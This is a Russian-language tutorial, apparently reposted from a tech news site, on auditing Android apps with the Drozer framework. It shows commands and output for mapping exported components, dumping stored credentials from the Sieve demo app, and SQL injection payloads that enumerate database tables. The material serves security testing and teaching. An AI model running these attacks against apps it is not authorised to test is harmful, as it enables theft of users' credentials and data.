Проверяем безопасность приложений с помощью Drozer

Drozer – обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах.

Drozer предустановлен в Kali Linux и других ОС для белого хакинга.

Возможности Drozer:

  1. Получение информации о пакете
  2. Определение поверхности атаки
  3. Запуск активностей
  4. Чтение от поставщиков содержимого
  5. Взаимодействие со службами
  6. Дополнительные опции

1. Получение информации о пакете

Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете.

To get list of all packages present in the device.
dz> run app.package.list

To search for a package name from the above list
dz> run app.package.list -f <your_string>

To get basic info about any selected package
dz> run app.package.info -a <package_name>

2. Определение поверхности атаки

Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:

  • Активностей
  • Поставщиков содержимого
  • Служб
To get list of exported Activities, Broadcast Receivers, Content Providers and Services:
dz> run app.package.attacksurface <package_name>
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported is debuggable

3. Запуск активностей

Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей.

To get a list activities from a package
dz> run app.activity.info -a <package_name>

To launch any selected activity
dz> run app.activity.start --component <package_name> <activity_name>

4. Чтение от поставщиков контента

Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением.

To get info about the content providers:
dz> run app.provider.info -a <package_name>

Example Result:
Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS

Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью:

To get the content URIs for the selected package
dz> run scanner.provider.finduris -a <your_package>

Example Result:
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.
example.sieve.DBContentProvider/
  ...
Unable to Query
content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных.

To retrieve or modify data using the above content URIs:
dz> run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Password/ --vertical

   _id: 1
 service: Email
 username: incognitoguy50
 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded)
 email: incognitoguy50@gmail.com

Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора.

To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '

FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных.

To attack using SQL injection:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

| type  | name      | tbl_name         | rootpage | sql           |

| table | android_metadata | android_metadata| 3 |CREATE TABLE... |

| table | Passwords        | Passwords       | 4 |CREATE TABLE ...|

| table | Key              | Key             | 5 |CREATE TABLE ...|

Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это.

To read the files in the file system
dz> run app.provider.read <URI>

To download content from the file
dz> run app.provider.download <URI>

To check for injection vulnerabilities
dz> run scanner.provider.injection -a <package_name>

To check for directory traversal vulnerabilities
dz> run scanner.provider.traversal -a <package_name>

5. Взаимодействие со службами

Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя:

To get details about exported services
dz> run app.service.info -a <package_name>

6. Дополнительные опции

Для получения дополнительной информации существует несколько замечательных команд:

  • shell.start — запустить интерактивную оболочку Linux на устройстве.

  • tools.file.upload / tools.file.download — Разрешить копирование файлов на / с устройства Android.

  • tools.setup.busybox / tools.setup.minimalsu — Установить на устройство полезные двоичные файлы.

Let’s block ads! (Why?)

Read More

Recent Posts

Роскомнадзор рекомендовал хостинг-провайдерам ограничить сбор данных с сайтов для иностранных ботов

Центр управления связью общего пользования (ЦМУ ССОП) Роскомнадзора рекомендовал компаниям из реестра провайдеров ограничить доступ поисковых ботов к информации на российских сайтах.…

8 часов ago

Apple возобновила переговоры с OpenAI и Google для интеграции ИИ в iPhone

Apple возобновила переговоры с OpenAI о возможности внедрения ИИ-технологий в iOS 18, на основе данной операционной системы будут работать новые…

5 дней ago

Российская «дочка» Google подготовила 23 иска к крупнейшим игрокам рекламного рынка

Конкурсный управляющий российской «дочки» Google подготовил 23 иска к участникам рекламного рынка. Общая сумма исков составляет 16 млрд рублей –…

5 дней ago

Google завершил обновление основного алгоритма March 2024 Core Update

Google завершил обновление основного алгоритма March 2024 Core Update. Раскатка обновлений была завершена 19 апреля, но сообщил об этом поисковик…

6 дней ago

Нейросети будут писать тексты объявления за продавцов на Авито

У частных продавцов на Авито появилась возможность составлять текст объявлений с помощью нейросети. Новый функционал доступен в категории «Обувь, одежда,…

6 дней ago

Объявлены победители международной премии Workspace Digital Awards-2024

24 апреля 2024 года в Москве состоялась церемония вручения наград международного конкурса Workspace Digital Awards. В этом году участниками стали…

6 дней ago